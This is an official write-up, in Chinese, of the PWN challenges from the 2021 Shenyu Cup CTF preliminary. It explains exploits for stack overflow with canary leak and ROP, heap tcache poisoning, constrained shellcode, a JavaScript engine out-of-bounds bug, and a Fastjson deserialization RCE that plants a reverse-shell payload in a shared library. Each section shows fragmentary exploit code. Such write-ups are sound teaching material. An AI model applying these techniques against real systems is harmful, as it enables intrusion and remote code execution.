2021深育杯线上初赛官方WriteUp(PWN篇)
字数 1708 2025-08-09 09:46:33
深育杯线上初赛PWN题目分析与利用技术详解
1. Find_Flag题目分析
漏洞定位
- 漏洞位于
sub_132F函数中,存在两处未限制大小的gets函数调用导致的栈溢出漏洞 - 第一处
gets位于偏移0x1367,读取到[rbp-0x60]缓冲区 - 第二处
gets位于偏移0x13DD,读取到[rbp-0x40]缓冲区
保护机制
- 程序启用了Canary保护(通过
fs:28h检查) - 需要先泄露Canary值才能进行ROP攻击
利用思路
- 通过格式化字符串漏洞泄露Canary值和返回地址
- 使用
%17$lx泄露Canary - 使用
%19$lx泄露返回地址
- 使用
- 计算flag函数地址偏移:
flag = 0x0000000000001231 - 构造ROP链覆盖返回地址跳转到flag函数
利用代码关键点
# 泄露Canary和返回地址
fs = "%17$lx,%19$lx"
p.sendline(fs.encode())
# 计算实际地址
canary = int(data.split(',')[0], 16)
ret = int(data.split(',')[1], 16)
# 构造payload
payload = b"A" * 56 # 填充到Canary前
payload += struct.pack("<Q", canary) # 正确覆盖Canary
payload += b"A" * 8 # 覆盖保存的rbp
payload += struct.pack("<Q", flag + ret - ret_offset) # 覆盖返回地址
2. WriteBook题目分析
漏洞类型
- 堆利用题目,涉及多种堆利用技术
- 主要漏洞:UAF、堆溢出、tcache poisoning
保护机制
- Full RELRO
- Stack Canary
- NX enabled
- PIE enabled
利用步骤
-
堆布局与泄露
- 创建多个不同大小的chunk
- 通过UAF泄露堆地址和libc地址
-
堆风水操作
- 精心安排chunk的分配和释放顺序
- 制造堆块合并条件
-
tcache poisoning
- 通过堆溢出修改chunk的fd指针
- 将
__free_hook放入tcache链
-
最终利用
- 将
__free_hook指向one_gadget - 触发free执行shell
- 将
关键利用代码
# 泄露堆地址
get_heapleak(pg_nr)
heap_leak = u64(leakstr)
HEAP_BASE = heap_leak - 0xd30
# 泄露libc地址
get_libcleak(pg_nr)
libc_leak = u64(leakstr)
LIBC_BASE = libc_leak - 0x3ec070
# tcache poisoning
FREE_HOOK = LIBC_BASE + 0x3ed8e8
payload = b"A"*8 + p64(0x331) + p64(FAKECHUNK_BASE) + p64(FAKECHUNK_BASE+0x8)
load_page(0, payload)
# 覆盖__free_hook
payload = p64(LIBC_BASE+0x4f432) # one_gadget
load_page(6, payload)
3. CreateCode题目分析
漏洞特点
- 程序分配1000字节的RWX(可读可写可执行)内存
- 对输入内容有特殊检查:
- 前4字节必须为
0xF012F012 - 后续字节必须在0~0xF范围内
- 前4字节必须为
利用限制
- 只能使用0~0xF范围内的指令
- 需要通过加法指令构造实际需要的shellcode
利用技术
-
指令构造
- 使用
add指令逐步构建所需字节 - 通过多次加法达到目标值
- 使用
-
内存操作
- 使用
add DWORD PTR [rip+0x600], eax修改内存 - 构造
/bin/sh字符串
- 使用
-
系统调用
- 构造execve系统调用
- 设置寄存器:rdi->"/bin/sh", rsi=0, rdx=0
关键shellcode构造
flag = b"\x12\xF0\x12\xF0"
buf = asm('''
add DWORD PTR [rip+0x600], eax
add al, 0x0d
add al, 0x0d
add BYTE PTR [rdx+rax*1], al
add cl, BYTE PTR [rdx]
''')
# 构造更多指令...
4. Hello_Jerry题目分析
漏洞成因
- 对
array.shift进行了patch,每次shift会将length减2 - 当length为1时shift会产生OOB(越界)访问
利用步骤
-
创建OOB数组
- 通过特殊操作创建可越界访问的数组
-
内存泄露
- 泄露ELF基地址
- 泄露libc基地址
- 泄露栈地址
-
覆盖返回地址
- 计算main函数返回地址位置
- 写入one_gadget地址
JavaScript利用代码
// 创建OOB数组
a = [1.1];
a.shift();
// 内存操作
function arb_read(addr) {
dv.setUint32(idx+4, l32(addr[0]));
dv.setUint32(idx+8, l32(addr[1]));
// 读取内存...
}
// 泄露地址
var elf_base = new Uint32Array(2);
elf_base[0] = u[0] - 0x6f5e0;
// 写入one_gadget
var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe6c7e);
arb_write(stack_addr,one_gadget);
5. Fastjson漏洞利用
漏洞组合
- Fastjson反序列化漏洞
- 结合leveldbjni进行RCE
利用步骤
-
信息收集
- 访问/test接口生成数据库和so文件
- 读取/tmp/目录获取so文件名
-
文件操作
- 通过特殊构造的JSON读取目录内容
- 使用netdoc协议读取文件
-
shellcode注入
- 修改so文件,在0x197b0偏移处注入shellcode
- 使用msfvenom生成反弹shell的payload
-
文件上传与触发
- 上传修改后的so文件
- 覆盖原始so文件
- 再次访问/test接口触发RCE
关键利用代码
# 读取/tmp/目录
jsonstr = '''{"abc":{"@type":"java.lang.AutoCloseable",...}}'''
data = {'data': jsonstr % getArrayData(ch)}
requests.post(host+url, data=data)
# 文件上传与覆盖
# 参考skay小姐姐的base64编码方法
总结
本次深育杯PWN题目涵盖了多种漏洞类型和利用技术:
- 栈溢出与ROP
- 堆利用与tcache poisoning
- 内存限制下的shellcode构造
- JavaScript引擎漏洞利用
- Fastjson反序列化漏洞组合利用
每种题目都需要深入理解程序逻辑、保护机制和漏洞原理,才能成功构造利用链。关键点包括:
- 准确识别漏洞位置
- 绕过各种保护机制(ASLR、Canary、NX等)
- 精心设计内存布局
- 精确计算偏移和地址
- 构造特殊的指令或数据
这些技术在实际漏洞利用中都具有重要参考价值,需要安全研究人员熟练掌握。